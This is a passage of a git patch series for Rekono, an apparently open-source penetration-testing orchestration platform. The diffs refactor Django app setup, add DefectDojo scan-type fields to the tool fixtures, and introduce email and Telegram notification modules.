accumulated[ - InputKeyword.PORTS.name.lower() - ] - output[InputKeyword.PORTS.name.lower()].append(self.port) - output[InputKeyword.PORTS_COMMAS.name.lower()] = ",".join( - [str(port) for port in output[InputKeyword.PORTS.name.lower()]] + output = self.authentication.parse(target, accumulated) + ports = (accumulated or {}).get(InputKeyword.PORTS.name.lower(), []) + [ + self.port + ] + output.update( + { + InputKeyword.TARGET.name.lower(): self.target.target, + InputKeyword.HOST.name.lower(): self.target.target, + InputKeyword.PORT.name.lower(): self.port, + InputKeyword.PORTS.name.lower(): ports, + InputKeyword.PORTS_COMMAS.name.lower(): ",".join( + [str(p) for p in ports] + ), + InputKeyword.URL.name.lower(): self._get_url( + self.target.target, self.port, self.path + ), + } ) return output diff --git a/src/backend/target_ports/serializers.py b/src/backend/target_ports/serializers.py index 939dbe840..4eaa4ace4 100644 --- a/src/backend/target_ports/serializers.py +++ b/src/backend/target_ports/serializers.py @@ -1,5 +1,3 @@ -from typing import Any, Dict - from authentications.serializers import AuthenticationSerializer from rest_framework.serializers import ModelSerializer from target_ports.models import TargetPort @@ -19,5 +17,3 @@ class Meta: "path", "authentication", ) - # Read only fields - read_only_fields = ("authentication",) diff --git a/src/backend/targets/apps.py b/src/backend/targets/apps.py index a66f143d6..255187d4a 100644 --- a/src/backend/targets/apps.py +++ b/src/backend/targets/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class TargetsConfig(AppConfig): +class TargetsConfig(BaseApp): name = "targets" diff --git a/src/backend/targets/filters.py b/src/backend/targets/filters.py index 753c9e679..094734549 100644 --- a/src/backend/targets/filters.py +++ b/src/backend/targets/filters.py @@ -12,4 +12,8 @@ class Meta: "project__name": ["exact", "icontains"], "target": ["exact", "icontains"], "type": ["exact"], + "defect_dojo_sync": ["exact"], + "defect_dojo_sync__engagement_id": ["exact"], + "defect_dojo_sync__defect_dojo_sync__product_type_id": ["exact"], + "defect_dojo_sync__defect_dojo_sync__product_id": ["exact"], } diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index 33add9364..16e4739d3 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -1,5 +1,6 @@ from typing import Any, Dict +from integrations.defect_dojo.serializers import DefectDojoTargetSyncSerializer from rest_framework.serializers import ModelSerializer from targets.models import Target @@ -15,6 +16,8 @@ class Meta: class TargetSerializer(ModelSerializer): """Serializer to manage targets via API.""" + defect_dojo_sync = DefectDojoTargetSyncSerializer(read_only=True, many=False) + class Meta: model = Target fields = ( # Target fields exposed via API @@ -25,14 +28,16 @@ class Meta: "target_ports", "input_technologies", "input_vulnerabilities", - # "tasks", + "tasks", + "defect_dojo_sync", ) read_only_fields = ( # Read only fields "type", "target_ports", "input_technologies", "input_vulnerabilities", - # "tasks", + "tasks", + "defect_dojo_sync", ) def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: diff --git a/src/backend/tasks/apps.py b/src/backend/tasks/apps.py index 5aadae04e..82521bf1c 100644 --- a/src/backend/tasks/apps.py +++ b/src/backend/tasks/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class TasksConfig(AppConfig): +class TasksConfig(BaseApp): name = "tasks" diff --git a/src/backend/tools/apps.py b/src/backend/tools/apps.py index cf64b8e2d..dfd48e543 100644 --- a/src/backend/tools/apps.py +++ b/src/backend/tools/apps.py @@ -1,14 +1,10 @@ -import os -from pathlib import Path from typing import Any -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata from django.db.models.signals import post_migrate +from framework.apps import BaseApp -class ToolsConfig(AppConfig): +class ToolsConfig(BaseApp): """Tool Django application.""" name = "tools" @@ -16,22 +12,9 @@ class ToolsConfig(AppConfig): def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_tools_models, sender=self) + post_migrate.connect(self._load_fixtures, sender=self) post_migrate.connect(self.update_tools_status, sender=self) - def load_tools_models(self, **kwargs: Any) -> None: - """Load tools fixtures in database.""" - path = os.path.join(Path(__file__).resolve().parent, "fixtures") - management.call_command( - loaddata.Command(), - os.path.join(path, "1_tools.json"), - os.path.join(path, "2_intensities.json"), - os.path.join(path, "3_configurations.json"), - os.path.join(path, "4_arguments.json"), - os.path.join(path, "5_inputs.json"), - os.path.join(path, "6_outputs.json"), - ) - def update_tools_status(self, **kwargs: Any) -> None: from tools.models import Tool diff --git a/src/backend/tools/fixtures/1_tools.json b/src/backend/tools/fixtures/1_tools.json index 6c9c96b7b..7f79f4150 100644 --- a/src/backend/tools/fixtures/1_tools.json +++ b/src/backend/tools/fixtures/1_tools.json @@ -14,7 +14,8 @@ "version_argument": "--version", "output_format": "xml", "reference": "https://nmap.org/", - "icon": "https://www.kali.org/tools/nmap/images/nmap-logo.svg" + "icon": "https://www.kali.org/tools/nmap/images/nmap-logo.svg", + "defect_dojo_scan_type": "Nmap Scan" } }, { @@ -32,7 +33,8 @@ "version_argument": "--version", "output_format": "json", "reference": "https://github.com/maurosoria/dirsearch", - "icon": "https://raw.githubusercontent.com/maurosoria/dirsearch/master/static/logo.png" + "icon": "https://raw.githubusercontent.com/maurosoria/dirsearch/master/static/logo.png", + "defect_dojo_scan_type": null } }, { @@ -50,7 +52,8 @@ "version_argument": "--version", "output_format": "json", "reference": "https://github.com/laramies/theHarvester", - "icon": "https://www.kali.org/tools/theharvester/images/theharvester-logo.svg" + "icon": "https://www.kali.org/tools/theharvester/images/theharvester-logo.svg", + "defect_dojo_scan_type": null } }, { @@ -68,7 +71,8 @@ "version_argument": "-Version", "output_format": "xml", "reference": "https://github.com/sullo/nikto", - "icon": "https://www.kali.org/tools/nikto/images/nikto-logo.svg" + "icon": "https://www.kali.org/tools/nikto/images/nikto-logo.svg", + "defect_dojo_scan_type": "Nikto Scan" } }, { @@ -86,7 +90,8 @@ "version_argument": "--version", "output_format": "xml", "reference": "https://github.com/rbsec/sslscan", - "icon": "https://www.kali.org/tools/sslscan/images/sslscan-logo.svg" + "icon": "https://www.kali.org/tools/sslscan/images/sslscan-logo.svg", + "defect_dojo_scan_type": "Sslscan" } }, { @@ -104,7 +109,8 @@ "version_argument": "--help", "output_format": "json", "reference": "https://nabla-c0d3.github.io/sslyze/documentation/", - "icon": "https://www.kali.org/tools/sslyze/images/sslyze-logo.svg" + "icon": "https://www.kali.org/tools/sslyze/images/sslyze-logo.svg", + "defect_dojo_scan_type": "SSLyze 3 Scan (JSON)" } }, { @@ -122,7 +128,8 @@ "version_argument": "--version", "output_format": "json", "reference": "https://github.com/Tuhinshubhra/CMSeeK/", - "icon": "https://camo.githubusercontent.com/b1864e58e861aa4e938d17d4a50ae1a4bedec9cdb9e8b7ce7ac80a1b5cc711ed/68747470733a2f2f692e696d6775722e636f6d2f35565973316d322e706e67" + "icon": "https://camo.githubusercontent.com/b1864e58e861aa4e938d17d4a50ae1a4bedec9cdb9e8b7ce7ac80a1b5cc711ed/68747470733a2f2f692e696d6775722e636f6d2f35565973316d322e706e67", + "defect_dojo_scan_type": null } }, { @@ -140,7 +147,8 @@ "version_argument": "-version", "output_format": "xml", "reference": "https://www.zaproxy.org/", - "icon": "https://www.kali.org/tools/zaproxy/images/zaproxy-logo.svg" + "icon": "https://www.kali.org/tools/zaproxy/images/zaproxy-logo.svg", + "defect_dojo_scan_type": "ZAP Scan" } }, { @@ -158,7 +166,8 @@ "version_argument": null, "output_format": "json", "reference": "https://www.exploit-db.com/searchsploit", - "icon": "https://www.kali.org/tools/exploitdb/images/exploitdb-logo.svg" + "icon": "https://www.kali.org/tools/exploitdb/images/exploitdb-logo.svg", + "defect_dojo_scan_type": null } }, { @@ -176,7 +185,8 @@ "version_argument": "--version", "output_format": null, "reference": "https://www.metasploit.com/", - "icon": "https://www.kali.org/tools/metasploit-framework/images/metasploit-framework-logo.svg" + "icon": "https://www.kali.org/tools/metasploit-framework/images/metasploit-framework-logo.svg", + "defect_dojo_scan_type": null } }, { @@ -194,7 +204,8 @@ "version_argument": null, "output_format": null, "reference": "https://github.com/fullhunt/log4j-scan", - "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico" + "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico", + "defect_dojo_scan_type": null } }, { @@ -212,7 +223,8 @@ "version_argument": "--version", "output_format": null, "reference": "https://github.com/Josue87/EmailFinder", - "icon": null + "icon": null, + "defect_dojo_scan_type": null } }, { @@ -230,7 +242,8 @@ "version_argument": "--help", "output_format": "txt", "reference": "https://github.com/maldevel/EmailHarvester", - "icon": null + "icon": null, + "defect_dojo_scan_type": null } }, { @@ -248,7 +261,8 @@ "version_argument": "--version", "output_format": null, "reference": "https://github.com/OWASP/joomscan", - "icon": "https://raw.githubusercontent.com/rezasp/Trash/master/joomscan.png" + "icon": "https://raw.githubusercontent.com/rezasp/Trash/master/joomscan.png", + "defect_dojo_scan_type": null } }, { @@ -266,7 +280,8 @@ "version_argument": null, "output_format": "json", "reference": "https://github.com/zricethezav/gitleaks", - "icon": "https://gitleaks.io/favicon.ico" + "icon": "https://gitleaks.io/favicon.ico", + "defect_dojo_scan_type": "Gitleaks" } }, { @@ -284,7 +299,8 @@ "version_argument": "--help", "output_format": null, "reference": "https://github.com/jtesta/ssh-audit", - "icon": null + "icon": null, + "defect_dojo_scan_type": null } }, { @@ -302,7 +318,8 @@ "version_argument": null, "output_format": null, "reference": "https://github.com/ShawnDEvans/smbmap", - "icon": null + "icon": null, + "defect_dojo_scan_type": null } }, { @@ -320,7 +337,8 @@ "version_argument": "--version", "output_format": "json", "reference": "https://nuclei.projectdiscovery.io", - "icon": "https://nuclei.projectdiscovery.io/static/favicon.png" + "icon": "https://nuclei.projectdiscovery.io/static/favicon.png", + "defect_dojo_scan_type": "Nuclei" } }, { @@ -338,7 +356,8 @@ "version_argument": null, "output_format": null, "reference": "https://github.com/fullhunt/spring4shell-scan", - "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico" + "icon": "https://fullhunt.io/static/theme/images/logo/favicon.ico", + "defect_dojo_scan_type": null } }, { @@ -356,7 +375,8 @@ "version_argument": "version", "output_format": "txt", "reference": "https://github.com/OJ/gobuster", - "icon": null + "icon": null, + "defect_dojo_scan_type": null } } ] \ No newline at end of file diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py index fbafa558d..0df049ab9 100644 --- a/src/backend/tools/models.py +++ b/src/backend/tools/models.py @@ -1,4 +1,3 @@ -import importlib import os import re import shutil @@ -28,27 +27,13 @@ class Tool(BaseLike): output_format = models.TextField(max_length=5, blank=True, null=True) reference = models.TextField(max_length=250, blank=True, null=True) icon = models.TextField(max_length=250, blank=True, null=True) - - def _get_tool_class(self, type: str) -> Any: - try: - # nosemgrep: python.lang.security.audit.non-literal-import.non-literal-import - module = importlib.import_module( - f'tools.{type.lower()}s.{self.name.lower().replace(" ", "_")}' - ) - cls = getattr( - module, - self.name[0] + self.name[1:].replace(" ", ""), - ) - except (AttributeError, ModuleNotFoundError): - module = importlib.import_module(f"tools.{type.lower()}s.base") - cls = getattr(module, f"Base{type[0].upper() + type[:1].lower()}") - return cls + defect_dojo_scan_type = models.TextField(max_length=100, blank=True, null=True) def get_parser_class(self) -> Any: - return self._get_tool_class("parser") + return self._get_related_class("tools.parsers", self.name) def get_executor_class(self) -> Any: - return self._get_tool_class("executor") + return self._get_related_class("tools.executors", self.name) def update_status(self) -> None: self.is_installed = ( diff --git a/src/backend/users/apps.py b/src/backend/users/apps.py index 91f4f5f75..01688c743 100644 --- a/src/backend/users/apps.py +++ b/src/backend/users/apps.py @@ -1,11 +1,11 @@ from typing import Any -from django.apps import AppConfig from django.db.models.signals import post_migrate +from framework.apps import BaseApp from security.authorization.roles import ROLES -class UsersConfig(AppConfig): +class UsersConfig(BaseApp): name = "users" def ready(self) -> None: diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 916c20d8a..42aa6c2a8 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -208,7 +208,7 @@ class User(AbstractUser, BaseModel): validators=[Validator(Regex.NAME.value, code="last_name")], ) email = models.EmailField(max_length=150, unique=True) - is_active = models.BooleanField(null=True, blank=True, default=None) + is_active = models.BooleanField(blank=True, null=True, default=None) # One Time Password used to invite and enable users, or reset passwords otp = models.TextField(max_length=200, unique=True, blank=True, null=True) diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index 553e1aa46..7ad6325d2 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -1,33 +1,25 @@ import os -from pathlib import Path from typing import Any -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata from django.db.models.signals import post_migrate +from framework.apps import BaseApp -class WordlistsConfig(AppConfig): +class WordlistsConfig(BaseApp): name = "wordlists" def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_wordlists_models, sender=self) + post_migrate.connect(self._load_fixtures, sender=self) post_migrate.connect(self.update_default_wordlists_size, sender=self) - def load_wordlists_models(self, **kwargs: Any) -> None: - """Load input types fixtures in database.""" + def _load_fixtures(self, **kwargs: Any) -> None: from wordlists.models import Wordlist - if Wordlist.objects.exists(): # Check if default data is loaded + if Wordlist.objects.exists(): return - path = os.path.join(Path(__file__).resolve().parent, "fixtures") - management.call_command( - loaddata.Command(), - os.path.join(path, "1_wordlists.json"), # Input type entities - ) + super()._load_fixtures(**kwargs) self.update_default_wordlists_size() def update_default_wordlists_size(self, **kwargs: Any) -> None: From 728976c81db95d610f63200517f0a1a48c03307c Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 19 Oct 2023 18:59:47 +0200 Subject: [PATCH 020/141] Add new notifications schema, Mail and Telegram --- src/backend/findings/models.py | 2 +- src/backend/findings/queues.py | 8 +- src/backend/framework/platforms.py | 18 +- .../{integrations => platforms}/__init__.py | 0 .../defect_dojo/__init__.py | 0 .../defect_dojo/admin.py | 2 +- .../defect_dojo/apps.py | 2 +- .../defect_dojo/fixtures/1_default.json | 2 +- .../defect_dojo/integrations.py} | 3 +- .../defect_dojo/models.py | 0 .../defect_dojo/serializers.py | 4 +- .../defect_dojo/urls.py | 2 +- .../defect_dojo/views.py | 4 +- src/backend/platforms/mail/__init__.py | 0 src/backend/platforms/mail/admin.py | 6 + src/backend/platforms/mail/apps.py | 20 ++ .../platforms/mail/fixtures/1_default.json | 13 + src/backend/platforms/mail/models.py | 38 +++ src/backend/platforms/mail/notifications.py | 106 ++++++ src/backend/platforms/mail/serializers.py | 21 ++ .../templates/execution_notification.html | 301 ++++++++++++++++++ .../mail/templates/user_enable_account.html | 26 ++ .../mail/templates/user_invitation.html | 22 ++ .../templates/user_login_notification.html | 24 ++ .../mail/templates/user_password_reset.html | 22 ++ .../user_telegram_linked_notification.html | 24 ++ src/backend/platforms/mail/urls.py | 9 + src/backend/platforms/mail/views.py | 14 + .../{integrations => platforms}/nvd_nist.py | 1 + .../platforms/telegram_app/__init__.py | 0 src/backend/platforms/telegram_app/admin.py | 7 + src/backend/platforms/telegram_app/apps.py | 20 ++ .../telegram_app/fixtures/1_default.json | 9 + .../platforms/telegram_app/framework.py | 26 ++ src/backend/platforms/telegram_app/models.py | 37 +++ .../platforms/telegram_app/notifications.py | 80 +++++ .../platforms/telegram_app/serializers.py | 71 +++++ .../platforms/telegram_app/templates.py | 109 +++++++ src/backend/platforms/telegram_app/urls.py | 10 + src/backend/platforms/telegram_app/views.py | 24 ++ src/backend/projects/serializers.py | 2 +- src/backend/rekono/settings.py | 11 +- src/backend/rekono/urls.py | 4 +- .../security/authentication/serializers.py | 5 +- .../security/authorization/permissions.py | 17 +- src/backend/security/authorization/roles.py | 18 ++ src/backend/targets/serializers.py | 2 +- src/backend/users/models.py | 15 +- src/backend/users/serializers.py | 87 +---- src/config.yaml | 6 - 50 files changed, 1120 insertions(+), 134 deletions(-) rename src/backend/{integrations => platforms}/__init__.py (100%) rename src/backend/{integrations => platforms}/defect_dojo/__init__.py (100%) rename src/backend/{integrations => platforms}/defect_dojo/admin.py (83%) rename src/backend/{integrations => platforms}/defect_dojo/apps.py (88%) rename src/backend/{integrations => platforms}/defect_dojo/fixtures/1_default.json (91%) rename src/backend/{integrations/defect_dojo/platforms.py => platforms/defect_dojo/integrations.py} (98%) rename src/backend/{integrations => platforms}/defect_dojo/models.py (100%) rename src/backend/{integrations => platforms}/defect_dojo/serializers.py (98%) rename src/backend/{integrations => platforms}/defect_dojo/urls.py (94%) rename src/backend/{integrations => platforms}/defect_dojo/views.py (89%) create mode 100644 src/backend/platforms/mail/__init__.py create mode 100644 src/backend/platforms/mail/admin.py create mode 100644 src/backend/platforms/mail/apps.py create mode 100644 src/backend/platforms/mail/fixtures/1_default.json create mode 100644 src/backend/platforms/mail/models.py create mode 100644 src/backend/platforms/mail/notifications.py create mode 100644 src/backend/platforms/mail/serializers.py create mode 100644 src/backend/platforms/mail/templates/execution_notification.html create mode 100644 src/backend/platforms/mail/templates/user_enable_account.html create mode 100644 src/backend/platforms/mail/templates/user_invitation.html create mode 100644 src/backend/platforms/mail/templates/user_login_notification.html create mode 100644 src/backend/platforms/mail/templates/user_password_reset.html create mode 100644 src/backend/platforms/mail/templates/user_telegram_linked_notification.html create mode 100644 src/backend/platforms/mail/urls.py create mode 100644 src/backend/platforms/mail/views.py rename src/backend/{integrations => platforms}/nvd_nist.py (97%) create mode 100644 src/backend/platforms/telegram_app/__init__.py create mode 100644 src/backend/platforms/telegram_app/admin.py create mode 100644 src/backend/platforms/telegram_app/apps.py create mode 100644 src/backend/platforms/telegram_app/fixtures/1_default.json create mode 100644 src/backend/platforms/telegram_app/framework.py create mode 100644 src/backend/platforms/telegram_app/models.py create mode 100644 src/backend/platforms/telegram_app/notifications.py create mode 100644 src/backend/platforms/telegram_app/serializers.py create mode 100644 src/backend/platforms/telegram_app/templates.py create mode 100644 src/backend/platforms/telegram_app/urls.py create mode 100644 src/backend/platforms/telegram_app/views.py diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index a2971b015..594c93e64 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -11,7 +11,7 @@ ) from findings.framework.models import Finding from framework.enums import InputKeyword -from integrations.defect_dojo.models import DefectDojoSettings +from platforms.defect_dojo.models import DefectDojoSettings from target_ports.models import TargetPort from targets.enums import TargetType from targets.models import Target diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index aebfc2cf6..9c708596d 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -5,6 +5,10 @@ from executions.models import Execution from findings.models import Finding from framework.queues import BaseQueue +from platforms.defect_dojo.integrations import DefectDojo +from platforms.mail.notifications import SMTP +from platforms.nvd_nist import NvdNist +from platforms.telegram_app.notifications import Telegram from rq.job import Job logger = logging.getLogger() @@ -23,5 +27,5 @@ def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: @job("findings-queue") def consume(self, execution: Execution, findings: List[Finding]) -> List[Finding]: - # TODO: Requires the implementation of new integrations - pass + for platform in [NvdNist, DefectDojo, SMTP, Telegram]: + platform.process_findings(execution, findings) diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index fbfab196e..302942db3 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -1,5 +1,5 @@ import logging -from typing import Any, Dict, List +from typing import Any, List from urllib.parse import urlparse import requests @@ -7,14 +7,17 @@ from findings.framework.models import Finding from requests.adapters import HTTPAdapter, Retry from users.enums import Notification -from users.models import User logger = logging.getLogger() class BasePlatform: + def is_available(self) -> bool: + return True + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: - pass + if not self.is_available(): + return class BaseIntegration(BasePlatform): @@ -48,7 +51,7 @@ def _request( class BaseNotification(BasePlatform): enable_field = "" - def _get_users_to_notify(self, execution: Execution) -> List[User]: + def _get_users_to_notify(self, execution: Execution) -> List[Any]: users = set() if ( execution.task.executor.notification_scope != Notification.DISABLED @@ -66,11 +69,12 @@ def _get_users_to_notify(self, execution: Execution) -> List[User]: ) return users - def _notify_users( - self, users: List[User], execution: Execution, findings: List[Finding] + def _notify_execution( + self, users: List[Any], execution: Execution, findings: List[Finding] ) -> None: pass def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + super().process_findings(execution, findings) users = self._get_users_to_notify(execution) - self._notify_users(users, execution, findings) + self._notify_execution(users, execution, findings) diff --git a/src/backend/integrations/__init__.py b/src/backend/platforms/__init__.py similarity index 100% rename from src/backend/integrations/__init__.py rename to src/backend/platforms/__init__.py diff --git a/src/backend/integrations/defect_dojo/__init__.py b/src/backend/platforms/defect_dojo/__init__.py similarity index 100% rename from src/backend/integrations/defect_dojo/__init__.py rename to src/backend/platforms/defect_dojo/__init__.py diff --git a/src/backend/integrations/defect_dojo/admin.py b/src/backend/platforms/defect_dojo/admin.py similarity index 83% rename from src/backend/integrations/defect_dojo/admin.py rename to src/backend/platforms/defect_dojo/admin.py index 2ecdfeb4f..056fc8b02 100644 --- a/src/backend/integrations/defect_dojo/admin.py +++ b/src/backend/platforms/defect_dojo/admin.py @@ -1,5 +1,5 @@ from django.contrib import admin -from integrations.defect_dojo.models import ( +from platforms.defect_dojo.models import ( DefectDojoSettings, DefectDojoSync, DefectDojoTargetSync, diff --git a/src/backend/integrations/defect_dojo/apps.py b/src/backend/platforms/defect_dojo/apps.py similarity index 88% rename from src/backend/integrations/defect_dojo/apps.py rename to src/backend/platforms/defect_dojo/apps.py index d29bca7a5..bc905e97e 100644 --- a/src/backend/integrations/defect_dojo/apps.py +++ b/src/backend/platforms/defect_dojo/apps.py @@ -13,7 +13,7 @@ def ready(self) -> None: post_migrate.connect(self._load_fixtures, sender=self) def _load_fixtures(self, **kwargs: Any) -> None: - from integrations.defect_dojo.models import DefectDojoSettings + from platforms.defect_dojo.models import DefectDojoSettings if DefectDojoSettings.objects.exists(): return diff --git a/src/backend/integrations/defect_dojo/fixtures/1_default.json b/src/backend/platforms/defect_dojo/fixtures/1_default.json similarity index 91% rename from src/backend/integrations/defect_dojo/fixtures/1_default.json rename to src/backend/platforms/defect_dojo/fixtures/1_default.json index 2862b7c15..a168645fd 100644 --- a/src/backend/integrations/defect_dojo/fixtures/1_default.json +++ b/src/backend/platforms/defect_dojo/fixtures/1_default.json @@ -1,6 +1,6 @@ [ { - "model": "defect_doo.DefectDojo", + "model": "defect_dojo.DefectDojo", "pk": 1, "fields": { "server": null, diff --git a/src/backend/integrations/defect_dojo/platforms.py b/src/backend/platforms/defect_dojo/integrations.py similarity index 98% rename from src/backend/integrations/defect_dojo/platforms.py rename to src/backend/platforms/defect_dojo/integrations.py index 90ae82d1d..851ff8e78 100644 --- a/src/backend/integrations/defect_dojo/platforms.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -8,7 +8,7 @@ from findings.framework.models import Finding from findings.models import Path from framework.platforms import BaseIntegration -from integrations.defect_dojo.models import ( +from platforms.defect_dojo.models import ( DefectDojoSettings, DefectDojoSync, DefectDojoTargetSync, @@ -173,6 +173,7 @@ def _import_scan( ) def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + super().process_findings(execution, findings) target_sync = DefectDojoTargetSync.objects.filter(target=execution.task.target) if target_sync.exists(): sync = target_sync.first() diff --git a/src/backend/integrations/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py similarity index 100% rename from src/backend/integrations/defect_dojo/models.py rename to src/backend/platforms/defect_dojo/models.py diff --git a/src/backend/integrations/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py similarity index 98% rename from src/backend/integrations/defect_dojo/serializers.py rename to src/backend/platforms/defect_dojo/serializers.py index de1ba5050..8691e577a 100644 --- a/src/backend/integrations/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -4,12 +4,12 @@ from django.forms import ValidationError from django.shortcuts import get_object_or_404 from framework.fields import ProtectedSecretField -from integrations.defect_dojo.models import ( +from platforms.defect_dojo.integrations import DefectDojo +from platforms.defect_dojo.models import ( DefectDojoSettings, DefectDojoSync, DefectDojoTargetSync, ) -from integrations.defect_dojo.platforms import DefectDojo from projects.models import Project from rest_framework.serializers import ( CharField, diff --git a/src/backend/integrations/defect_dojo/urls.py b/src/backend/platforms/defect_dojo/urls.py similarity index 94% rename from src/backend/integrations/defect_dojo/urls.py rename to src/backend/platforms/defect_dojo/urls.py index 05005eb5d..f20487afd 100644 --- a/src/backend/integrations/defect_dojo/urls.py +++ b/src/backend/platforms/defect_dojo/urls.py @@ -1,4 +1,4 @@ -from integrations.defect_dojo.views import ( +from platforms.defect_dojo.views import ( DefectDojoEngagementViewSet, DefectDojoProductTypeViewSet, DefectDojoProductViewSet, diff --git a/src/backend/integrations/defect_dojo/views.py b/src/backend/platforms/defect_dojo/views.py similarity index 89% rename from src/backend/integrations/defect_dojo/views.py rename to src/backend/platforms/defect_dojo/views.py index 0a39d072c..48f89bec2 100644 --- a/src/backend/integrations/defect_dojo/views.py +++ b/src/backend/platforms/defect_dojo/views.py @@ -1,6 +1,6 @@ from framework.views import BaseViewSet -from integrations.defect_dojo.models import DefectDojoSettings, DefectDojoSync -from integrations.defect_dojo.serializers import ( +from platforms.defect_dojo.models import DefectDojoSettings, DefectDojoSync +from platforms.defect_dojo.serializers import ( DefectDojoEngagementSerializer, DefectDojoProductSerializer, DefectDojoProductTypeSerializer, diff --git a/src/backend/platforms/mail/__init__.py b/src/backend/platforms/mail/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/platforms/mail/admin.py b/src/backend/platforms/mail/admin.py new file mode 100644 index 000000000..e6545f57a --- /dev/null +++ b/src/backend/platforms/mail/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from platforms.mail.models import SMTPSettings + +# Register your models here. + +admin.site.register(SMTPSettings) diff --git a/src/backend/platforms/mail/apps.py b/src/backend/platforms/mail/apps.py new file mode 100644 index 000000000..59dd5f99c --- /dev/null +++ b/src/backend/platforms/mail/apps.py @@ -0,0 +1,20 @@ +from typing import Any + +from django.db.models.signals import post_migrate +from framework.apps import BaseApp + + +class MailConfig(BaseApp): + name = "mail" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + post_migrate.connect(self._load_fixtures, sender=self) + + def _load_fixtures(self, **kwargs: Any) -> None: + from platforms.mail.models import SMTPSettings + + if SMTPSettings.objects.exists(): + return + return super()._load_fixtures(**kwargs) diff --git a/src/backend/platforms/mail/fixtures/1_default.json b/src/backend/platforms/mail/fixtures/1_default.json new file mode 100644 index 000000000..7528ca560 --- /dev/null +++ b/src/backend/platforms/mail/fixtures/1_default.json @@ -0,0 +1,13 @@ +[ + { + "model": "mail.SMTPSettings", + "pk": 1, + "fields": { + "host": null, + "port": 587, + "user": null, + "password": null, + "tls": true + } + } +] \ No newline at end of file diff --git a/src/backend/platforms/mail/models.py b/src/backend/platforms/mail/models.py new file mode 100644 index 000000000..ee5d50dcb --- /dev/null +++ b/src/backend/platforms/mail/models.py @@ -0,0 +1,38 @@ +from django.core.validators import MaxValueValidator, MinValueValidator +from django.db import models +from framework.models import BaseModel +from security.utils.input_validator import Regex, Validator + +# Create your models here. + + +class SMTPSettings(BaseModel): + host = models.TextField( + max_length=100, + validators=[Validator(Regex.TARGET.value)], + blank=True, + null=True, + ) + port = models.IntegerField( + validators=[MinValueValidator(0), MaxValueValidator(65535)], + blank=True, + null=True, + default=587, + ) + username = models.TextField( + max_length=100, + validators=[Validator(Regex.NAME.value, code="name")], + null=True, + blank=True, + ) + # TODO: encrypt and decrypt secret for more security + password = models.TextField( + max_length=200, + validators=[Validator(Regex.SECRET.value, code="api_token")], + null=True, + blank=True, + ) + tls = models.BooleanField(default=True) + + def __str__(self) -> str: + return f"{self.host}:{self.port}" diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py new file mode 100644 index 000000000..81c88a6d5 --- /dev/null +++ b/src/backend/platforms/mail/notifications.py @@ -0,0 +1,106 @@ +import logging +from typing import Any, Dict, List + +from django.core.mail import EmailMultiAlternatives +from django.core.mail.backends.smtp import EmailBackend +from django.template.loader import get_template +from django.utils import timezone +from executions.models import Execution +from findings.framework.models import Finding +from framework.platforms import BaseNotification +from platforms.mail.models import SMTPSettings +from rekono.settings import CONFIG + +logger = logging.getLogger() + + +class SMTP(BaseNotification): + enable_field = "email_notification" + + def __init__(self) -> None: + self.settings = SMTPSettings.objects.first() + self.backend = EmailBackend( + host=self.settings.host, + port=self.settings.port, + username=self.settings.username, + password=self.settings.password, + use_tls=self.settings.tls, + ) + self.datetime_format = "%Y-%m-%d %H:%M" + + def is_available(self) -> bool: + if not self.settings.host or not self.settings.port: + return False + try: + self.backend.open() + self.backend.close() + return True + except: + return False + + def _send_messages( + self, users: List[Any], subject: str, template: str, data: Dict[str, Any] + ) -> None: + if self.is_available(): + try: + message = EmailMultiAlternatives( + subject, "", "Rekono ", [u.email for u in users] + ) + template = get_template(template) + data["rekono_url"] = CONFIG.frontend_url + # nosemgrep: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2 + message.attach_alternative(template.render(data), "text/html") + self.backend.send_messages([message]) + except Exception: + logger.error("[Mail] Error sending email message") + + def _notify_execution( + self, users: List[Any], execution: Execution, findings: List[Finding] + ) -> None: + findings_by_class = {} + for finding in findings: + if findings.__class__.__name__.lower() not in findings_by_class: + findings_by_class[findings.__class__.__name__.lower()] = [] + findings_by_class[findings.__class__.__name__.lower()].append(finding) + self._send_messages( + users, + f"[Rekono] {execution.configuration.tool.name} execution completed", + "execution_notification.html", + { + "execution": execution, + "tool": execution.configuration.tool, + "configuration": 